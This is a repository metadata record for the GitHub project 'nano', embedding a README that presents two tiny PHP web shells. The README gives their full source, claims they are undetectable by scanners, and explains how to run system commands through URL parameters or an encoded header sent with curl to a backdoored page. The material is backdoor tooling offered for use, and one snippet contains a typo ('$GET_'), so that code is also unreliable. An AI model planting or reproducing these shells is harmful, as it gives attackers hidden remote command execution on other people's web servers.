{"id":13540310,"url":"https://github.com/s0md3v/nano","last_synced_at":"2025-04-06T04:11:59.789Z","repository":{"id":54610636,"uuid":"134872663","full_name":"s0md3v/nano","owner":"s0md3v","description":"Nano is a family of PHP web shells which are code golfed for stealth.","archived":false,"fork":false,"pushed_at":"2020-02-18T19:14:32.000Z","size":21,"stargazers_count":441,"open_issues_count":2,"forks_count":94,"subscribers_count":33,"default_branch":"master","last_synced_at":"2025-03-30T03:05:54.860Z","etag":null,"topics":["mini-shell","php-webshell","tiny-shell","webshell"],"latest_commit_sha":null,"homepage":"","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/s0md3v.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2018-05-25T15:17:22.000Z","updated_at":"2025-03-04T07:40:50.000Z","dependencies_parsed_at":"2022-08-13T21:30:44.397Z","dependency_job_id":null,"html_url":"https://github.com/s0md3v/nano","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s0md3v%2Fnano","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s0md3v%2Fnano/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s0md3v%2Fnano/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/s0md3v%2Fnano/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/s0md3v","download_url":"https://codeload.github.com/s0md3v/nano/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247430872,"owners_count":20937874,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["mini-shell","php-webshell","tiny-shell","webshell"],"created_at":"2024-08-01T09:01:46.229Z","updated_at":"2025-04-06T04:11:59.764Z","avatar_url":"https://github.com/s0md3v.png","language":"PHP","funding_links":[],"categories":["Tools","\u003ca id=\"bad06ceb38098c26b1b8b46104f98d25\"\u003e\u003c/a\u003ewebshell","\u003ca id=\"faa91844951d2c29b7b571c6e8a3eb54\"\u003e\u003c/a\u003e新添加"],"sub_categories":["Webshell","\u003ca id=\"faa91844951d2c29b7b571c6e8a3eb54\"\u003e\u003c/a\u003e未分类-webshell"],"readme":"# nano\nNano is a family of PHP webshells which are code golfed to be extremely stealthy and efficient.\\\nPut it on watch maybe, I will continue to upload more webshells in here.\n\n### Nano\n```php\n\u003c?=$_GET[p]==_\u0026\u0026$_GET[f]($GET_[c]);\n```\n#### Features\n- 35 bytes in size\n- Can't be detected by static code scanners\n- Supports authentication\n\n#### Usage\n`http://example.com/nano.php?f=function\u0026c=command\u0026p=password`\n\n`f` is for function\\\n`c` is for command\\\n`p` is for password\n\nFor example, the code below will execute the `ls` command:\n\n`http://example.com/nano.php?f=system\u0026c=ls\u0026p=password`\n\n### Ninja\n```php\n\u003c?=$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);\n```\n#### Features\n- 93 bytes in size\n- Fully Undetectable\n\n#### Usage\nThis one a bit complex.\\\nLets say you want to run `system(ls)` so write it as `system~ls` and then base64 encode it i.e. `c3lzdGVtKGxzKQ==`\\\nNow add any **1** character at the start of it. Let say 'x' so it will be `xc3lzdGVtKGxzKQ==`\\\nNow open your terminal and type the following command\\\n`curl -H 'x: xc3lzdGVtKGxzKQ==' http://example.com/backdoored.php`\\\nToo much work? You can use the [handler](https://github.com/s0md3v/nano/blob/master/handler.py) instead.\n\n![handler](https://i.imgur.com/hkAHGwH.png)\n\n#### Everything Else\nThis is my first php thingy so if there's way to do what I did in a better way please let me know or open a pull request.\\\nThe nano project is licensed under **MIT license** which basically means you have to give me credit if you want to redistribute or modify it.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fs0md3v%2Fnano","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fs0md3v%2Fnano","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fs0md3v%2Fnano/lists"}